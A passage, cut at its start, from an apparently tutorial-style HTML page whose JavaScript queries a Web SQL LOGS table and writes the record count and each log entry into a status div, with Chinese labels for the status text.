tx.executeSql('SELECT * FROM LOGS', [], function (tx, results) {
var len = results.rows.length, i;
msg = "查询记录条数: "
+ len + "";
document.querySelector('#status').innerHTML += msg;
for (i = 0; i < len; i++) {
msg = ""
+ results.rows.item(i).log + "";
document.querySelector('#status').innerHTML += msg;
}
}, null);
});
</script>
</head>
<body>
<div id="status" name="status">状态信息</div>
</body>
</html>